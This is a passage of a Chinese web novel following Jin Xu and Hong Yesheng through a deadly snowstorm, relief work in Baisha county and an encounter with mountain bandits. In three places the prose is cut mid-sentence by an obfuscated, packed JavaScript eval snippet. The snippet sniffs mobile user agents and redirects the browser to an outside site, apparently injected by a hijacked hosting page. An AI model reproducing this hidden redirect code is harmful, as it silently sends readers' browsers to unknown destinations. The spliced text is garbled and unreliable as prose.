金絮后知后觉地意识到自己前两晚经历了对于支郁村来说是怎样的一场大雪。 “那男孩告诉我,还有很多村民躲到了附近的村子里。”金絮跟洪叶生说:“但不清楚其他村子是不是也被淹了。” 他点点头,“其他村子位置不明,先去那庙里看看。” 暗卫在前开路,金絮骑在马上缓慢地走,积雪没了马腿,直走到接近山腰才渐渐浅下去。 黑衣身影跳跃于树枝之间,无声无息,阳光大了起来,偶有几滴挂在树枝的水滴掉下,雪里砸出一个小洞。她感觉更冷了。 “他们有没有发现还活着的人?” “没有。” “冻死的人都被雪埋了吗?” “应该是。” 刺刺的冷气随着呼吸扎进肺里,金絮道:“这雪......管杀还管埋。” 所以它无论何时看过去都是白的。 洪叶生看了她一眼,伸出了手,掌心向上。 金絮不理,当做没看见。他仍旧那样伸着,被风吹着。金絮驱马走近,按住他的手臂,想把他的手推回去,却被他灵活地反手抓住。 “京城里冬天也会有被冻死的人吗?”她自问又自答:“有的哦,雪姬当初就是快被冻死了。” “京城里每年都有许多乞丐被冻死。” “太南也有。” 两人间静默了一阵,金絮无知觉地任他牵着,四处转眼看雪景,想着很多。 “死了便死了吧,那男孩跟我说,这是二十年不遇的大雪,死了也没办法......这是天灾,活着的那些人有个好归宿就行了。” “嗯。”他捏了捏她的手,“每年都有很多暴雪之下的灾民流连各地,用不了多久,朝廷会拨款赈灾的。” 金絮没什么反应,“这里离朝廷可太远了,拨的款项运到这里还剩几文钱?” 他没说话,静静地看着她。 她仍说:“可能一文也没有了吧。京城的府衙离我才几条街呢,就是几百两到五文钱的距离了,更何况是京城和支郁村。” 他手握得更紧,“那案子已了结,银子暂时收押在官府中......” “总是事后补救。事后人都死了。” 金絮语气凉凉,许久不见他接话,掌心的力道却渐渐放松了。 “是,我做不了什么。我一直什么都做不了。” 金絮却道:“哪里,现在的京城不是至少没了个曹大人么。” 她一扭头前方不远看见了庙顶,“啊,看见了,差不多到了。” 她勒绳加速,若有似无地听见洪叶生在她身后轻轻地哼了一声。 破庙确实很破,瓦碎墙落,青苔裂痕到处都是,比笑长生的屋子还破,但这两个晚上下来居然没塌。 暗卫扫除门前雪,打开门,一股微微寒气混着人气的味道撞面而来,金絮觉得屋里还是要比屋外暖一点,但庙里面没有可供多一个人落脚的地方。 所有村民都站着、醒着、缩着,老人妇孺居多,大部分人穿得都还算多,棉被什么的都用上了。门口几人扭着僵硬的脖子向他们看过来,说不出话。 她把门关上,护卫扫雪,继续架锅煮汤。庙很小,最多百人,需煮几轮才够所有人喝,他们带的干粮不够煮,只能每锅里少放点食料。 洪叶生令三名暗卫去将尚困在笑长生屋子那的一家人带过来,再吩咐几人去山脚马车那儿取些食物过来。 金絮心里想着,这之后他这十几名暗卫得改做明卫了。 就差脸没看见,身形、声音她都快记全了。 “这里交给他们,我先送你去县里,天黑前能到。”洪叶生走过来跟她说:“我怕你又生病。” 她点点头,不逆着他,这山里也没处过夜了。 “但是我好累。”她道。一夜未睡,体力不足以支撑她去到县里,而且他昨夜肯定也没睡好。 “放心,我带你去,交给我就行。” 洪叶生卸下荆风木果的行李,唤了一名暗卫骑木果跟随,金絮跨上荆风,洪叶生坐在她后面,帮她整理斗篷。 “我自己来。” 金絮拍掉他的手,自己扣好扣子,洪叶生再把他的大氅反裹在她的正面,金絮双手就被严实地包着。 “抓紧。” 金絮抓紧鞍边缘的环扣,洪叶生替她戴上兜帽,她的视线被遮住,但也挡住了大半的风。他从后环抱抓住缰绳,荆风便踏着四蹄试探地在积雪山地中跑起来,跑了几步便开始加速。 金絮这是第一次见识到成年之后的荆风速度有多疾快,起跳后的滞空像是要飞起来。洪叶生这几年精进的骑术且先不论,单就荆风的力量与速度而言已经令她叹为观止。 她想掀开兜帽看看此时的天空,但从帽檐吹入的风已经割得她脸生疼,若是不戴帽子,她的脸想必能直接裂开。 荆风忽然嘶鸣一声,马腿肌肉骤然缩紧,金絮接着便感到一个巨大的凌空,从帽檐向外看到脚下是一截矮崖。兜帽被风吹掉,她眼睁睁看着自己从距离雪地至少数十尺的崖顶掉落,身体自然下坠,心脏却留在了半空,手指下意识抓紧鞍扣,瞬息间仿佛过了很久。终于在心脏从嘴里跳出来之前落入雪面,荆风被雪埋了半身,她的小腿也没进雪里,厚雪缓冲了落地后的冲击。 这一跳真快吓死了。 她不知道刚才那一跳究竟有多高,心有余悸的同时又觉得十分刺激。 还想环顾,洪叶生却立时替她重新戴上兜帽。 荆风破开厚雪往前快走,随即身后又传来人马落下声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839763|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑着木果的暗卫紧紧衔在后面。 洪叶生的手暴露于外,金絮将大氅掀覆在他双臂之上,再摸了摸他的指背,很冷,但不至于有冻伤。 没多久走出厚雪地,荆风又加速飞起来。 她微低着头,看马下的路。山势越来越陡,荆风不断地起跃下落,她渐渐不再感到兴奋,先前喝的肉汤快要吐出来。 帽檐下所能见到的雪地右侧忽然往后掠过一只脚。速度很快,但她还是看清了青黑色的裤脚露出一截脚腕,肤色青紫,以及单薄的布鞋。 心里一颤,颠得麻木了,脸也耐住了疼。洪叶生却在这时缓缓引绳降速,金絮喘了口气,抬起头,正想问他怎么了,洪叶生便将她帽檐撩起一点,她的视野变得开阔。 “你看那儿。” 金絮顺他所指看过去,入目十里银妆素裹,支郁河从山这头延伸到地平线那头,破开乌云的阳光照得结冰的河面莹莹晶亮,像是夜空的银河掉在了白山之间。 “真好看。” 她嘴里吐着雾气,仔细欣赏美景,一时说不出话,想起方才瞧见的冻尸。 洪叶生握绳的双臂悄没声儿地收紧,金絮以为他是要再次上路,便轻推阻他的手臂,“等一下,休息一会儿。” 金絮隔帽感到他的贴近,耳边听见他说:“还坚持得住吗?照这速度应该申时前能到,慢一点也可以。” “那就慢一点吧。”她侧了侧头,“你不累么?” “不累。” 看够景,荆风缓慢踱起步来,金絮微微吸气,寒气呛得她一咳。 “冷吗?”洪叶生又盖下兜帽。 金絮摇摇头,“走吧。” 再次上路速度慢了许多,颠得没那么难受了,寒风也不割脸,金絮还能在帽下四处探看。 大约一个时辰后,抵达白沙县。 甫一落地,金絮差点坐到地上去,腿软得无法直立,洪叶生扶着她,金絮活动一下,慢慢缓过劲儿来。 洪叶生定下两间客栈的上房,给两马喂草,进屋时火炉已经点着了,暖得她浑身一抖,舒服得喟叹。 小二送来烧肉和汤饭,金絮痛快地吃一顿,弥补这几天被寒酸了的胃。 洪叶生喝着汤,“明日一早我就去县衙吩咐人救援,你不要到处乱跑,小心又生病。我待会让小二再送些衣服棉被炭火来,你要是能一直待在客栈里我就更放心了。” 金絮无所谓他放不放心,顾自道:“我觉得县衙可能不会愿意派人去救援。支郁山很大,山阳面的村子要想去县里上必须爬过支郁山,最好的救援之法是通山,山里那些人还要撑过今夜,未必能活下来几个,为了这几个人县衙不一定会愿意派人去救的。” 她夹一筷子鱼肉,“你看今晚还会下大雪么?” “我知道,我会想办法,能救多少救多少。”他道:“我让十三跟着你,你别跑得太远,有事就让他去做。” “知道了。”她草草一应。 饭后,金絮洗个热水澡,早早便睡了。第二日不知何时才醒来,因前日骑快马令大腿内侧微微有点痛,她半拉着腿去隔壁房一敲门才知洪叶生已经离开。 她拢拢手臂,去睡了个回笼觉。 29. 赈灾(二) “你叫十三?” “是。” 金絮看着眼前黑衣人,想他昨天在洪叶生的骑术和木果的蹄力之下还能不远地跟着,可算能力超群,定是洪叶生器重之人。 “听我说话?” 他单膝跪下低头作揖,“谨遵姑娘吩咐。” “把面罩摘了。” 他毫不犹豫摘下面罩,金絮记住他的容貌,指着桌上一套衣裳道:“你去换身普通衣裳,跟我出趟门。” “是。” 看长相不为别的,只是她想占个便宜。 十三换了身又绵又厚的灰色长衫,金絮打量一番满意点头,道:“走吧。” 金絮先和十三在客栈吃了顿午饭,席间十三有点局促,吃得不多。金絮不讲究上下关系,菜分了两人份,劝他多喝了点汤,两人才把两菜一汤全部吃完。 昨夜下了场小雪,路边的积雪还是很厚,二十年不遇的大雪对白沙镇也造成了不小的打击。 街道上四处可见县衙的人忙着扫雪和救出被压在碎屋底下的人,救的人还活着会听见他们身子拔出来时惨烈的嚎叫;救的人死了,整条街道静静的。 每隔两三条街就有施粥的铺子,暖暖的粥香骑着冰冷的雪气无法散得很远,隔一个拐角的人便闻不到了,县衙或有钱人家的仆从会盛好粥送去给那些躺在地上冻得无法动弹的人喝。 无家可归的人蜷缩在阴暗的巷子里,有的裹着棉被、厚衣,有的拿左手盖着右手保暖,他们三三两两围坐一堆,挤在一起互相依偎,冻得僵硬的脸上容不下表情。 整个镇子没有半分过年的气氛。 还有四、五日就到春节了,白沙县因为这场雪而无家过年的人会有很多。 她想起的京城的春节,张灯结彩,火树银花,人人穿着新衣,人人脸上都有笑容。每到天灾人祸的时候,天子脚下确实是个避难的好居所。 “十三,你说这里的灾民还有支郁村的灾民可以安放在哪里?” “属下不知。” 白沙县到支郁村的路虽然被大雪封住了,但昨天骑马是可以通过的,便能用马匹运村民到白沙县,只是可能容纳不下那么多的灾民。附近的村镇估计都是这样的情况。 她又能做什么呢? 无银子、无识人、对支郁村和白沙县都不了解。 金絮站定,转身,“十三,我们回去吧,等洪叶生回来再说。” “是。” “十三,你除了会说‘是’,还会说别的吗?” “会。” “说说看。” “......” 她也不多纠结,换了个话题,“十三,洪公子是让你在保护我的同时听命于我的是吧?” “是。” “那我的命令和他的命令你优先听哪一个?” “......这......” “不用怕,你直说,我不会告诉他的。” “......” “你肯定是优先听他的。”她无所谓道:“不过,先听谁的不重要。我且问你,如果我让你去监视你家主子并把他每日的行程汇报于我,你会不会去做?” “......会。” “会啊,”金絮眼珠子一转,“那你就去做吧。”她看着十三,“然后你主子肯定好奇我为何要你监视他,你便同他说,除非你主子把你派来监视我的原因告诉我,否则我是不会告诉他我为什么想要监视他的。” 十三当即跪下去,“属下不敢。” 金絮一笑,“跟你开玩笑的。”她继续往前走,“怎么能说你是来监视我的,你明明是他派来保护我的。” 十三沉默不语地跟在身后。 她想了想又问:“十三,你主子有吩咐你把我的每日行程汇报给他吗?” “......有。” “那他有没有跟你说要保护我多久?” “直到主子召我回去。” “这样啊,”金絮语气状似无谓,“他身边护卫那么多,又不缺你一个,有什么事情是非要把你召回去做的呢。” “是。主子身边的能人很多。”十三的语气十分恭敬。 金絮的眼神懒散地随处放着,这寒冷的天气似乎冻得她心情都没有太大的起伏。 她沉默许久,朝十三浅浅一笑,“你放心吧,这种为难人的事情我不会做的,不过你要把我们刚才说的话一五一十地告诉他哦。” 十三短暂地犹豫了一下,才道:“是。” 回到客栈,金絮算了一遍自己的账本,她还有点余钱可以捐赈,虽然用处不大,但多少是一点。然后再整理笑长生的遗稿,将薄脆泛黄难辨字迹的手稿抄录一份,以免返程路上被弄坏了。 傍晚时分,洪叶生回来。 他戴好了面具,一回来就来找她,蹭她屋子里的火炉烤手,“在这住着还习惯吗?不习惯的话可以换个好一点的地方住。” “不去。这里挺好的。”金絮手中笔不停,“你如果不习惯的话就自己去住。” “灾情怎么样了?”她问:“灾民有地方安置么?” “没有。” 他说完就没了声,金絮从纸堆里抬起头,看他面色沉沉,白色的面具暗淡无光,眼里郁气颇重。她不用问都知道出了什么问题。 “信鸽无法飞过雪山,白沙县的灾情传递不出去。”他沉声道:“县衙全部人手都出动抢救灾屋,但收效甚微,新房建起来要等到下一个冬天;县里可供灾民容身的地方不多,各处都已挤满了人,挤不下的躺在大街上,我即便把支郁村民都安置到县里,也不过是给他们换了个埋尸的位置。” “荆风也出不去吗?” “不行。白沙镇和并阳郡之间那段山河已经被雪封了,鸟都飞不过去。” 他们来支郁村时路过了并阳郡,那时路上还很顺利,荆风木果带着马车都没遇到过不去的阻碍。 金絮想了一想问:“并阳郡守是哪位?” “好像姓胡。” 金絮凝眸思索,“今年的雪很大,按理说不会只有白沙县这一带大雪成灾,并阳郡很可能自顾不暇。而且附近的其他村县肯定有活下来的难民逃去并阳郡避灾,胡大人哪怕不清楚具体灾情,但想必已经知道白沙县和支郁村受灾了。” “县令也是这么跟我说的,不能等别人来救,白沙县只能自救。” 距离冬季结束尚有一个多月,只要能熬过这一个多月就好了。 “缺粮吗?” “眼下不缺,房屋塌损的情况更为严重,缺人手。” “即便现在搭屋,搭的临时屋子也根本承受不住那样大的风雪,只能每家每户挤一挤了。”金絮道:“我不懂赈灾,帮不了你许多,但我还有一些银子。” “你那点银子能够什么用?自己留着。”他瞥了她一眼,“无法向外联系,有银子也没用。” “县衙有屯粮吧?” “有,不多。”他揉揉双手,“今年白沙县秋收不丰,如果附近村子的人都躲来白沙县的话,屯粮撑不到下个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839764|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 金絮低下头,忽然又想起什么,“县令大人看见你在这,心里宽慰了许多吧?” “但我帮不上他什么。”白色面具遮挡了洪叶生脸上的表情。 “帮得上。”金絮道:“至少等山路通了,你去和胡大人打个照面,就能让白沙镇的人看见朝廷拨来的银子了。” 他垂眸看着火炉,喝茶的唇边淡淡笑了,“也许吧。” 空气静了一静,洪叶生道:“白沙县的灾情传到京城可能会引来麻烦。” 她一愣,“什么?” “就是你说的那个四爪泥鳅的绣纹。” “怎么了?”她问出口便意识到了,“是因为叫‘龙’?” “嗯,笼子的笼。区区村民明目张胆绣龙纹,罪可杀头,我担心胡太守会为了邀功将此事上报朝廷。” “那就不要让他上报。”她心念一转立刻改口道:“不,抢在胡大人之前,你自己跟皇帝讲。” 他未答,反而一笑,“你可知支郁村的‘笼’是怎么来的?” 金絮摇摇头。 “是笑长生早年在京城郁郁不得志后回到家乡带来的。”他苦笑道:“也许是出于怨念吧,所以想侮辱代表皇室威严的龙纹。” 金絮默然,端详着他的神情道:“你给朝廷写个折子吧,写了就好,至于朝廷里的人会怎么想便不管了。” “嗯。” 屋里安静下来。 他坐到她旁边,看着桌上的一堆纸,随意地问:“你今天让十三干什么去了?” “你肯定知道,干嘛问我?”金絮继续抄录,头都不抬。 他没了声响,顾自拾起笑长生的遗稿翻看。金絮举手一摸,就将纸夺了过来,不给他看。 即将入夜时,雪下起来了。鹅毛转眼间加大,狂风暴雪吹得门扉哗啦作响。小二送来晚饭,菜色平常,没什么大鱼大肉,看得出来客栈的掌柜做菜较为收着了。 “这间客栈很快也会挤满避难的人。”他捏捏她的手,试了下温度便放开,“真的要住在这间客栈里?县令给我安排了一处住宅,我们搬去那里好不好?” 金絮抓抓自己的手,侧身躲开他,“那宅子是县令安排给你住的,不是给我住的。” 洪叶生皱眉,“做什么分这么清楚?县令是给我们两个人住的。衙里的老人猜测这两天还会有一场大雪,我总担心这客栈会不那么牢固。”他放软语气,“把这客栈留给那些无家可住的人吧。县衙的房子会大一些,我那十几个暗卫也有地方住了,还有人照顾你。” “我不需要人照顾。” 洪叶生不由分说地抓着她手腕,“住过去吧,我也能安心些,等这个冬天过去了,我随你住哪。” 金絮轻轻一哼,“你每次问我的想法只会问两次,到第三次就没耐心听我说了。” 最后还是被他冒雪拉去了县令安排的宅邸。 洪叶生给了客栈掌柜一大笔银子,让掌柜给避难的人安排住所。县令派了马车来接他,天黑后难以冒雪行进,速度缓慢,金絮窝在马车角落里冻得干咳。 宅邸三进院落,装潢不算豪奢,打眼看见的也不是什么名贵之物,但未免太大了点。屋子已经收拾好,还配备了一干丫鬟仆从人等。 金絮四处打量,问他:“县令的俸禄很多吗?住得起这样大的宅子?” “县令的俸禄不多,但买这处宅子尚算够格。” “可以让街上那些人也住进来,反正住得下,人多也暖和一点。” “好。” 30. 赈灾(三) 这场雪七日未停。 “支郁村的人是活不下来了。” 洪叶生站在窗前跟她道。 “附近很多村子的人都活不下来了。”她说。 七日前,洪叶生只来得及用荆风救了几名妇孺和那个少年并召回了他的暗卫,其余更多的支郁村民可能还被困在山腰那间破庙中。 听出她话里的情绪,洪叶生安慰她:“每年灾情都有人死去,我们只能尽人事,很多人实在救不了也没办法。” “我知道的。” 金絮靠着火炉取暖,“我只是想出去看看。” 院子里的雪积得很厚了,万幸这宅子的围墙高、地势高,冒着雪尚且能行人,供暗卫运输粮食炭火和联系县令。 白沙镇仿佛是大雪辟出的一个世外桃源,不仅隔了外界,还隔了许多负担与压力,金絮这七日几乎日日沉浸睡觉,日日听着风雪呼啸,除了睡觉就是写稿,偶尔与他下下棋,其余时候无事可做。 洪叶生不许她出去。前几天金絮还会担心还有没有无处避难的人流落街头、每户人家的粮食够不够吃、县衙的屯粮能撑到几时、并阳郡守的赈灾计划是如何如何之类的问题,而现在,随着大雪一连几日都无要停的迹象,她不得不转而忧心起自己和洪叶生能否在白沙县平安地度过这个冬天。 若悄无声息地被雪埋没他乡,这趟旅程未免得不偿失。 这日早晨睡醒,迷迷糊糊望着天花板之际,金絮莫名想起以前看过的佛理之类,不由自主参禅悟道,一瞬间只觉天地小、她小、生死更小,仿佛世间一切都能轻易被雪一埋了事,仿佛她已参透世间造化。 洪叶生听说后,斥以胡思乱想,强拉她下棋,说调节心神,不仅数次退让且允她悔棋,居然让她赢了几盘。 “史书上有记载,曾经中原最大的一场雪连下四十日不停,冻死上千人,可仍有人在那场雪灾中活了下来。白沙县这七日固然难熬,但也不是毫无生机,我们且准备了足够多的食物,你又在这里忧心个什么?” 他如此劝道。 金絮不吭声地躲在被子里,任他叨叨,实在听得不耐烦了,才道:“知道了知道了,我不想了。” 他方作罢。 今年的春节就这么缩在屋子里地过了。 直到第十日,雪终于下得小了。 县令大人托人又送来一批粮食和炭火。油盐、腌肉,茶酒皆齐备,丰富到让她有些怀疑,这个县令会不会为了伺候好洪叶生而把本该援助灾民的物资给了他。 院子里的雪堵得门无法打开,雪再小一点,洪叶生忙凿开窗户带着护卫出门去县衙,计算余粮和存活人口。 她难得出门,本想跟着去,却怕妨碍到他,最后还是没去。 送他走后,金絮站在街心环顾,入目一片白茫茫,大风刮过,天空飘尽最后一点鹅毛,黄豆大的雪花落在她的鼻尖融化。阳光从乌云后直射而下,刺目的白雪焕发出它的圣洁与美丽,照耀着街角一只尚未被完全覆盖的冻死的手掌。 金絮算算日子,灾情一定已经传到京城,等朝中那些大臣商议好派谁赈灾,然后等灾款运到并阳郡,并阳郡再下放给各村县,这中间所需时间一月不止。而白沙县的人能不能活到下月还未可知。 她寻思着要不要去施粥,但此刻街上估计没几个活人,或者去派发粮食,可她不知道县域内的屯粮余量,若她贸贸然去发粮,极易给县令一个猝不及防。 毕竟白沙县几个大户人家未必那么大方肯开放粮仓,而她和洪叶生手里的这点粮都是县令给的,若到灾情后期,民众爆发动乱开始抢粮,不至于有人敢抢到洪叶生手里。想必县令是做着狡兔三窟,在洪叶生这里也挖一窟的打算。 可她又不想什么都不做。 刚才应该和洪叶生一起去的。 金絮几番思索,最终还是决定让十三带一点米和干肉,到街上看看灾情。 一脚深一脚浅地走,她不敢走街边,怕踩到尸体,遇到凸起的雪堆都绕过。不知道等开春,雪融了之后,留下的尸体会不会引发疫病。 还得组织人手埋尸。 金絮心中不断盘算,路过一处巷子,见到一位抱着婴儿的老妇人。细碎的雪花抚平了老妇人脸上深刻的皱纹,目光哀怜地看着街道,乞求着眷顾。 金絮给了她半袋米和一块肉干,并询问姓名、住在何处与家中几口人,让十三一一记下。 之后一路遇见了两三个这样的人,金絮都记录下他们的情况,看看能不能帮到点什么。 走至一片冻结的湖边,远远瞧见洪叶生和一名微胖的老者沿湖迎面走来,身后跟着几名侍从。 洪叶生也远远地看见了她,立刻加速走来,二话不说当头斥道:“出来做什么?这么冷的天气不在屋里呆着?” “我只是出来看看。” 她错开一步,朝老者行礼道:“见过县令大人。” 老者微微笑着回一礼,目光露出疑惑。 洪叶生将她斗篷的扣子扣好,也不介绍直接道:“十三,送她回去。” “是。”十三躬身以手示意,“姑娘,请。” 金絮不理,“雪都停了,我就出来看看。你们这是在做什么?我来的这条街已经看过了,乞讨的有三个人,一条街口被封,房屋塌损有五处,你们县衙建的房子不行啊。” 她拿出刚才记录的小册子,洪叶生接过递给县令,道:“我知道了,你先回去,别冻生病了。” “不会的。病过一回后,一段时间内不会再病的。”她摆出道理。 “胡说。” 金絮不理他的推搡,十三又不敢碰她,洪叶生只好道:“你先回去,安排人煮一锅粥,太阳大起来后,县衙的人会抬去大街发放的。” 金絮便回去了。 命人煮了一大锅加了肉的稀粥,再以牛车载好,没等县衙的人来,她再次推着车去大街了。 很快施完粥,金絮回到宅子里,就见洪叶生怒气冲冲地瞪着她,金絮解释道:“我是怕缺人手,才过去帮忙的。” 之后他安排在她身边的护卫加到了三个人。 金絮老老实实地待在屋中。 往后五天没再下雪,但积雪也不融化。 洪叶生派人通山,没通多高,路就被狂风怒雪吹倒的大树封了,他便决定绕远路,可山侧是道山谷。山谷被雪埋了一半,两岸无桥。他只好再觅他路。 如此又熬过十天,二月中时,镇子上发生多起民众抢粮事件,每天死去的人里已经有几个不是被冻饿死而是被杀死的了。 县令每有动乱发生时就开仓放粮镇压,洪叶生不得不暂时搁停通山,转而向白沙县几个大户人家游走征粮。 征粮效果显著,最近五天没再发生抢粮事件。 县令还有一批粮存放在洪叶生屋里,金絮每日就是守着这些粮,以作最后的底线。 又过几天,再次开始通山。 金絮首先发现的是她喝的粥里的米粒在不断减少,接着是她守着的粮每天都有洪叶生的护卫来拿走一些。 前天几袋小麦,昨天几袋大米,今天几捆蔬菜。 她渐渐感觉自己正一步步被逼到悬崖边上。 唯一庆幸的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839765|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有再次下雪。 二月底,山通了。 洪叶生的人从山这面锯树,与山那面并阳郡守派来救援的人迎面相通,两方人一起,速度快许多。她本以为至少要到开春山才会通。 这天洪叶生回来告诉她:“这次赈灾的人是刺史许义。” 刺史许义? 金絮回忆了一下这人,好像有点印象,应该在温柔馆见过,但见的次数不多,忆不出长相。 “既然许大人来了,那你就放手吧,本来朝廷就不是安排你赈灾的。” “这个晚点再说。”洪叶生道:“你想离开这里去并阳吗?很快开春,开春雪融了之后再走也行,新运来的一批粮可以撑过三月。” 金絮点点头,“荆风和木果饿得掉膘了,把它们喂肥一点再走吧,山已经通了就不着急,这个冬天即便再下雪,应该也不会那么大了。” 许大人写了信飞鸽寄来,洪叶生回了信,这才决定不再插手赈灾一事,全部交给许大人。金絮想知道许大人那封信里写了什么,他却不给看,只道许义言辞恳切且意外。 “小气!”金絮学着他每次阴着脸怒视她的模样瞪他,换来他无谓一笑。 三月中,冰皮始解,气温骤降。 金絮整日窝在屋中烤火,听说着街上的尸首已被掩埋得差不多了,几乎全部葬在了附近的山岗中。支郁村村民则就地安葬。 白雪尽褪,这个冬天,白沙县与支郁村共冻死二百五十一人。 四月,终于感觉春天到了。连翘花开。 与县令大人道别,金絮备妥行李,跟着洪叶生踏上返程的路。 山间的树枝新芽已熟,青翘铺路,淡黄的花瓣鲜艳可爱。新生的气息笼于山野,温暖舒适,入目所见郁郁葱葱。 洪叶生驾车,手边摆着一壶酒。她趴在马车的车窗上,眯眼看着太阳,双臂沐浴树影悠闲地来回晃荡。偶有自冬眠中睡醒的小松鼠窜过,金絮就会撒把核桃,看它们争食的趣味。 “去哪?”他问:“回太南吗?” 金絮想了想道:“不知道,路过哪里去哪里。” 鸟鸣啾啾,叫嚣着它们的饥饿。金絮懒洋洋地打个哈欠,春困起来。 “去并阳要几天啊?” “两三日。” “不远。”金絮夹碎一个核桃,“可以慢慢走。但是去并阳有什么好玩的?” 她自答:“好像没什么好玩的,许大人还在并阳呢。” “那还去吗?” “就不去了吧。” 不知不觉拨完小半袋核桃,她搓搓手指灰,“武林大会我有点想去。” “武林大会?”洪叶生愣道:“你去武林大会做什么?” 金絮只会一点点三脚猫的童子功夫,她理所当然道:“凑热闹啊。” “这有什么好凑热闹的?”他眉头皱起来,“你别总是看那些话本,武林不是书里写的那样。” “那是哪样?你总是只会说说,去见识一下不就好了。我也要去见过了才知道真正的武林究竟是个什么样子,跟书中又不一样在哪。” “书中的武林是经过文人美化的,你想笑长生一辈子没学过武,又怎会认识武林人士,又怎会知晓武林是个什么样子?《豪侠传》不过是他想象中的江湖,你写的也是你自己想象中的,实际的江湖是腥风血雨和睚眦必报。” 她有些赌气地静默了一瞬,道:“《红叶书》成了我自己写的了。” 他张嘴,想说什么又没说,勒绳驾停马车,目光静静地看着她,末了忽地一笑。 “是,我也有写。” 31. 小山匪 他上前欲抓她手腕,“那便去吧,想去就去。” 金絮躲开,坐到车厢最里边。洪叶生笑容里带点讨好的意味,“我们现在就去,你可知武林大会在哪举行?何时举行?” 金絮干巴巴道:“不知道。” “我托人问问。”洪叶生笑着握住她的手腕,“核桃吃饱了吗?要不要换个别的?” 金絮刚想说喝水,就见他面色骤然一顿,眼神凌厉戒备地迅速看向车外,金絮还没反应过来,一道极短暂又刺耳的破空声后有什么东西钉在了地上,接着传来震颤的声音。 金絮反应过来是支箭,脑袋才跟着转过去,看清了荆风木果前方五步的地方插着一支箭,箭尾震动未消。木果受惊地踏前蹄嘶鸣。 “你待着别动。”洪叶生钻出车厢,关上了车厢门。 金絮乖乖坐在车里,这不是第一次遇到山匪了,春节前去支郁村的路上都遇见过好几次。洪叶生有时候心情好,会留下一袋粮食作买路财,心情一般就不理地直接通过,剩下交给他的暗卫处理。 开春是匪患最多的时候,只是他们出城这才不到一日,县子离得尚近,按理不会如此大胆,来的时候这一带也没遇到过,她估计这些山匪同样是半饿半饱地捱了一个冬天,现在急于下山打劫了。 洪叶生从车尾拿了两大袋稻谷出去,听声音还扔了一个钱袋。金絮从后车厢里翻出水囊,闲闲地喝着。 很快马车驶起来,没走两步又被拦下,车外传来乒乒乓乓的铁器声,金絮隔门道:“给他们多一点吧,我们去下一个县里再买好了。”说完,她补充一句:“还要问一下他们知不知道武林大会在哪举办。” 陌生的声音在谩骂,接着似乎打斗了一番,然后没声儿了,马车再次前行。 一响哨音过后,洪叶生开门进来,十三在驾车。 十三自从上次换了身衣服、露出真容后,洪叶生就索性让他做个明卫,不再做暗卫了。 “他们不知道武林大会。”洪叶生坐到她旁边。 “不知道就算了。”金絮一时兴起问:“这附近的山寨在哪啊。我有点想去山寨子里见识见识了。” “你哪儿都想去。” 洪叶生没答应也没拒绝,金絮低头继续拨弄核桃,他思索后道:“有机会。刚才那批人没死心,离开这一脉山群之前应当会再次拦下我们的。” 金絮点头笑了笑。 “我们出来几个月了?” “有半年了。” “这么久了啊。” “嗯。” 洪叶生比着地图看山势,猜测他们的寨子会在哪座山上,吩咐暗卫在那附近做好准备。沿山脚绕过三个弯后,那群山匪果然再次出现,拦停了马车。 金絮将门拉开一条缝,小心往外看,十三四个人,长得都一派粗犷,浓眉大眼,为首一人握着牛刀叫嚣地看着十三,后排还有几人拿着粗制的弓箭和弩。 刚才好像只有两三个,被洪叶生打发之后这是去叫人了。 “你说你打得过他们么?” “当然打得过,山野小匪怎能跟我比?”他语气自傲且轻松自在。 金絮便一把将门敞开,这群匪人看见她后兴奋了一阵,放肆地议论打量她。洪叶生出来站在她前,朗声道:“先前我已交过买路财,几位再次拦下我等又是何意?” 为首人身旁一名跟班模样的人出前一步道:“我们三当家说了,你那两袋稻谷只够付这一段路的钱,要想出山,这剩下的路钱还得再付。” 金絮一愣,发现这群山匪官话说得还挺好。 洪叶生皱眉,“从未听说山匪打劫是按路程打的。” 跟班贼眉鼠眼,“现在让你见识到了。交出全部的银子和粮食就放你们走!” 跟班喊完,三当家一巴掌拍在他头上,怒道:“走什么走!”三当家转而看向洪叶生,大吼:“你们走不了了!交出所有的银粮和这个女人,”他拿牛刀刀尖指着金絮,还是看着洪叶生说:“我才放你离开,要不然你别想活着走出这座大山!” 金絮偷偷抬眼看洪叶生的脸色,又看看那三当家,眼珠一转,正待反应,洪叶生抢先道:“你别说话。” 金絮顿时瘪嘴,哼一声,撇开脸。 三当家旁边另一跟班在老大耳边低语几句,那三当家看洪叶生的表情忽地变了。 三当家当即大手一挥,“全部带走!” 金絮没什么反应,洪叶生顺从道:“好,你们别碰她,我们跟你们走。” “算你识相!” 